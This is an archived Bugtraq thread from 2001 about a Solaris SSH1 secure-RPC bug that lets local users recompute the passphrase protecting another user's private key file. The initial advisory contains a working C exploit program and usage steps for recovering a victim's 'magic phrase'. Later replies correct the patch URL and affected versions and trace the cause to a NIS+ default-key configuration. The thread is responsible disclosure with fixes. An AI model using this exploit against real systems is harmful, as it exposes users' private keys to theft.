5965253 2001-01-16 09:14 -0800  /220 rader/  <ssh2-bugs@SSH.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-17  00:51  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: ssh2-bugs@ssh.com
Mottagare: Bugtraq (import) <14844>
Ärende: Bug in SSH1 secure-RPC support can expose users' private keys
------------------------------------------------------------
From: ssh2-bugs@SSH.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20010116091449.A2299@ssh.com>

Hello all,

There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this
is available at http://www.ssh.com/patches.html.

The explanation and bug was submitted by Richard Silverman
(slade@shore.net), and his explanation of the bug is below. The SSH1
protocol is not formally supported by SSH Communications
Security. However, as a service to the user community, we offer this
patch as a potential way of addressing SSH1 related issues.

If you have any questions or comments, please email ssh2-bugs@ssh.com.

Thanks,

-Anne

When using "secure-RPC" support to encrypt a secret key file with the
"SUN-DES-1 magic phrase," it is possible for SSH to generate a "magic
phrase" which is easily discoverable by other users on the same host,
or in the same NIS+ domain.

Since this weakness can seriously threaten the secrecy of a user's
private keys, I intend to post this information publically as soon as
is feasible.  I would, of course, like to allow you to assess the
problem first and release a fix before I do so.  Please keep me
informed.  If I do not hear back from you within a week (that is, by
Friday 28 July 2000), I will go ahead and release the bug report.

IMPACT:

A user's private key file is encrypted with an easily discoverable
passphrase.

SYSTEMS AFFECTED:

Any system running SSH1 with secure-RPC support.  As far as I know,
this is limited to Sun Solaris 2.x.  I have seen the problem under
Solaris 2.6 and 2.7, running on SPARC hardware.

DETAILS:

The SSH1 feature is called secure-RPC, but this is a little
misleading.  SSH1 does not use secure-RPC.  Rather, it takes
advantage of the cryptographic infrastructure present to support
secure-RPC.

On a Solaris system employing secure-RPC (for e.g. secure NFS or
NIS+), there is a host-independent user and host naming scheme
consisting of "netnames" contained in the "netid" table, and a
Diffie-Hellman key pair belonging to each netname, contained in the
"publickey" table.  These tables may be kept in local files
(/etc/netid, /etc/publickey), or stored in NIS+.  User netnames look
like "unix.<uid>@<domain>", and have an obvious mapping to local
usernames via the uid on a given host.  A user's Diffie-Hellman
private key is stored encrypted with the user's "network password,"
which may differ from the user's login password on a particular host.

Solaris includes a system server process called "keyserv," which is a
caching and service agent for the secure-RPC private keys.  To load
the private key into keyserv, the user runs a program called
"keylogin," which prompts for the network password.  It then
retrieves the user's private key from the publickey table, decrypts
it with the password, and via an IPC mechanism stores the key with
keyserv.  Keyserv will only allow processes with the same uid as that
which stored a key to access it.

The keyserv API includes two functions, key_encryptsession and
key_decryptsession.  Their purpose is to support DES session key
exchange between secure-RPC principals.  The key_encryptsession
routine takes a recipient netname N and DES key D.  It looks up the
public key P belonging to N, and retrieves from keyserv the private
key K of the current user.  It then encrypts D twice, using both
Diffie-Hellman keys and P and K.  The key_decryptsession routine
performs the inverse operation on behalf of the recipient, recovering
D.

The SSH1 secure-RPC feature makes use of secure-RPC keys to encrypt
the a user's SSH private key file without requiring a user-supplied
passphrase.  When ssh-keygen prompts the user for a passphrase to
encrypt a new key (or change the passphrase of an existing key), it
recognizes the special passphrase "SUN-DES-1".  Instead of using this
token as the passphrase, it does the following:

- Finds the netname U of the current user.

- Generates the string S: "ssh.XXXX", where XXXX is the user's uid in
  hexadecimal, left-padded with zeros.

- Treats S as a DES key, padding it out on the right with 8 null
bytes.

- Calls key_encryptsession(U,S), producing S'.  This encrypts S with both
  the public and private keys of the calling user.

- Generates the string M, which is the (upper-case) ASCII hexadecimal
  representation of the 64-bit S'.  This is the SUN-DES-1 "magic phrase."

Ssh-keygen then uses M as the passphrase to encrypt the user's SSH
private key in the usual way.  The idea is that M is an
automatically-generated secure passphrase for the user, and that an
attacker would need the user's secure-RPC private key to discover M.
When other SSH components need to read a private key file, they first
generate M and attempt to decrypt the SSH private key with M; if that
fails, they prompt the user for a passphrase.

The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic
phrase, without having done a keylogin -- that is, keyserv does not
have my Diffie-Hellman private key.  The Solaris 5.7 man page for the
key_encryptsession routine does not say explicitly what happens in
this case, though it does say that the routine returns 0 on success
and -1 on failure.  One would assume that it returns failure in this
case.  The SSH code does check the return code and tells the user to
do a keylogin if key_encryptsession fails.

However, this does not always happen.  I have seen the correct
behavior happen very occasionally while testing, but most of the
time, key_encryptsession returns success instead, and appears to have
encrypted its argument only with the public key of the target
netname, simply skipping the other encryption step.  This produces a
magic phrase which can be generated easily by any other user on the
system.  If the victim has uid U and netname V, the attacker simply
ensures that he does not have a private key available (by doing a
keylogout), then calls key_encryptsession(V,"ssh.<U>...") as
described above; this recovers the victim's magic phrase.  The
attacker can then use this to decrypt the victim's private key file,
should he get hold of it through other means.

The user may not notice the problem immediately, as his SSH will be
able to automatically decrypt the private key file as expected, as
long as he remains "keylogged out".

EXPLOIT:

To demonstrate this problem on a Solaris system with secure-RPC keys
in place, do a keylogout, then use ssh-keygen to generate a new key
(or change the passphrase on an existing key), setting the passphrase
to "SUN-DES-1".  You will see the message:

  "Using SUN-DES-1 magic phrase to encrypt the private key."

(That is, you will see this if the bug manifests.  As I mentioned, I
have occasionally seen key_encryptsession return failure in this
situation, in which case you will see "Failed to get SUN-DES-1 magic
phrase. Run keylogin.")

Then, compile the following short program:

== exploit.c =====================================
#include <stdio.h>
#include <rpc/rpc.h>

void die (char *msg)
{
  fprintf(stderr,"%s\n",msg);
  exit(1);
}

main (int argc, char **argv)
{
  char buf[MAXNETNAMELEN + 1];
  des_block block;
  uid_t uid;
  char *netname;

  if (argc < 3)
    die("supply uid and netname");

  sscanf(argv[1], "%d", &uid);
  netname = argv[2];
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "ssh.%04X", uid);
  memcpy(block.c, buf, sizeof(block.c));
  if (key_encryptsession(netname, &block) != 0)
    die("key_encryptsession failed");
  printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n  %08X%08X\n",
	 uid,
	 netname,
	 ntohl(block.key.high),
	 ntohl(block.key.low));
}
==================================================

Any user may now do a keylogout, then call this program with your uid
and netname as arguments, e.g. "exploit 12345 unix.12345@domain.org".
It will print out your magic phrase, which can be used directly to
decrypt your private key file, e.g. with "ssh -i", "ssh-add", etc.

FIX:

The quick fix is this: in the routine userfile_get_des_1_magic_phrase
(userfile.c:1150), change this line:

      if (getnetname(buf))

to this:

      if (getnetname(buf) && key_secretkey_is_set())

key_secretkey_is_set returns whether or not the calling process has a
secret key registered with keserv.

Unfortunately, this may not be complete solution.  Judging from the
secure-RPC code in auth-passwd.c, there are apparently two different
versions of the keyserv API, 1 and 2, and key_secretkey_is_set is not
available in version 1.  In fact, auth-passwd.c has a routine
my_secretkey_is_set, which calls key_secretkey_is_set if keyserv
version 2 is available -- otherwise, it calls key_encryptsession and
relies on it failing if the secret key is not set!  This suggests
that, if this bug occurs in version 1 as well as 2, there may be no
simple, reliable way to tell if the calling process' secret key is
registered with keyserv.  Theoretically, one could call
getpublickey(3N) to retrieve the user's public key, encrypt a test
token with it, and compare this to the result of encrypting the token
with key_encryptsession -- the secret key is set only if they are
different.  However, the Solaris secure-RPC library does not appear
to expose routines for performing Diffie-Hellman operations directly,
so this would not be straightforward.

Since this is a problem with an old version of keyserv, and with an SSH1
option this is (I think) very little used, I haven't spent the time to
come up with a fix for this.  Perhaps someone with more motivation will do
so.  In the meantime, it may be best to simply disable the SSH1 secure-RPC
feature if keyserv version 2 is not available (KEY_VERS2 is not defined by
<rpc/rpc.h>.
(5965253) --------------------------------(Ombruten)
5974649 2001-01-17 18:15 -0800  /76 rader/ Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-18  19:56  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: dan-bugtraq@DILVISH.SPEED.NET
Mottagare: Bugtraq (import) <14878>
Ärende: FORW: Re: Bug in SSH1 secure-RPC support can expose users'
------------------------------------------------------------
 private keys
From: Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <200101180215.SAA16586@dilvish.speed.net>

For some reason my Bugtraq post where I asked the below questions was
not approved (I guess the patches URL issue had been resolved by
moderation time, but the affected versions issue had not -- the
advisory only makes reference to 1.2.30).

Therefore, I sent the questions to ssh.com directly.  Below is the
response.


------- Forwarded Message

Message-ID: <3A661F71.1553A3AC@ssh.com>
Date: Wed, 17 Jan 2001 14:40:49 -0800
From: Stephanie Thomas <steph@ssh.com>
Organization: SSH Communications Security Inc.
To: Dan Harkless <dan-bugtraq@dilvish.speed.net>
Subject: Re: Bug in SSH1 secure-RPC support can expose users' private keys
References: <20010116091449.A2299@ssh.com> <200101172045.MAA15310@dilvish.speed.net>

Hi Dan,

All versions of SSH1, from 1.2.30 back (including 1.2.27),
are vulnerable.

Sorry about the incorrect url.  Here's the correct one:

http://www.ssh.com/ssh/patches.html

Best Regards,

Steph

Dan Harkless wrote:
>
> ssh2-bugs@ssh.com writes:
> > There is a bug in SSH-1.2.30
>
> So is 1.2.27 not vulnerable?
>
> > involving Secure RPC. The patch for this is available at
> > http://www.ssh.com/patches.html.
>
> No it isn't.  That just gets a 404.
>
> ----------------------------------------------------------------------
> Dan Harkless                   | To prevent SPAM contamination, please
> dan-bugtraq@dilvish.speed.net  | do not mention this private email
> SpeedGate Communications, Inc. | address in Usenet posts.  Thank you.

- --
Stephanie Thomas
Technical Support Specialist
SSH Communications Security Inc.
1076A E. Meadows Circle
Palo Alto, CA 94303
ssh-support@ssh.com

Conference NOTE:  I will be out January 28, 2001 thru
February 3, 2001 for the SANS conference. I will be checking
email, but connectivity may be sporadic. When sending email
regarding support, please be sure to cc: ssh-support@ssh.com
to ensure that your request will be handled during my absence.

------- End of Forwarded Message


----------------------------------------------------------------------
Dan Harkless                   | To prevent SPAM contamination, please
dan-bugtraq@dilvish.speed.net  | do not mention this private email
SpeedGate Communications, Inc. | address in Usenet posts.  Thank you.
(5974649) --------------------------------(Ombruten)
5975213 2001-01-18 19:20 +0100  /58 rader/ Andy Polyakov <appro@FY.CHALMERS.SE>
Sänt av: joel@lysator.liu.se
Importerad: 2001-01-18  23:37  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: appro@FY.CHALMERS.SE
Mottagare: Bugtraq (import) <14889>
Kommentar till text 5965253 av  <ssh2-bugs@SSH.COM>
Ärende: Re: Bug in SSH1 secure-RPC support can expose users' private keys
------------------------------------------------------------
From: Andy Polyakov <appro@FY.CHALMERS.SE>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <3A673406.8C0C6EDD@fy.chalmers.se>

Hello,

> There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is
> available at http://www.ssh.com/patches.html.
>
> The explanation and bug was submitted by Richard Silverman
> (slade@shore.net), and his explanation of the bug is below. The SSH1
> protocol is not formally supported by SSH Communications Security.
> However, as a service to the user community, we offer this patch as a
> potential way of addressing SSH1 related issues.

It probably should be noted that the "offending" code is present even
in SSH 2.x, but it never gets invoked during the key generation
process (i.e. in SSH 2.x). I write "offending" in quotes because I
can't confirm following statement no matter how many times I try:

> The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic
> phrase, without having done a keylogin -- that is, keyserv does not have
> my Diffie-Hellman private key. ... most of the time,
> key_encryptsession returns success instead, and appears to have encrypted
> its argument only with the public key of the target netname, simply
> skipping the other encryption step.

In my environment I can *never* see key_encryptsession returning the
success value in the lack of my secret key and I get "run keylogin"
all the time... So that it must be something specific to Richard
Silverman's NIS+ (mis?)configuration... And indeed, it appears that
if /etc/nsswitch.conf is configured with "publickey: nisplus files"
keyserv falls down to nobody's key-pair found in /etc/publickey and
uses that private key whenever user private key is not around. It's
discussible if "publickey: nisplus files" is "the right thing," but
the facts are:

- by default it contains "publickey: nisplus" alone;
- nobody's key-pair found in /etc/publickey is well known (it's
disseminated through OS distribution media, i.e. it's not generated
during installation and it has the same value on all computers and all
OS releases), it's not good idea to involve it;
- use for nobody's key-pair is not documented anywhere and I have it
hard to imagine what it would be useful for;
- keyserv offers -d command line option disabling the use of default
keys for nobody;

> FIX:

I should recommend to configure NIS+ properly instead (having well
known key involved in authentication may have undesirable effect) or
start keyserv with -d flag. If you seek a simpler way (i.e. simpler
than restarting keyserv on every workstation) to instantly "revoke"
the magic phrases encrypted with nobody's key, delete (or rename)
/etc/publickey on every workstation.

Andy.
(5975213) --------------------------------(Ombruten)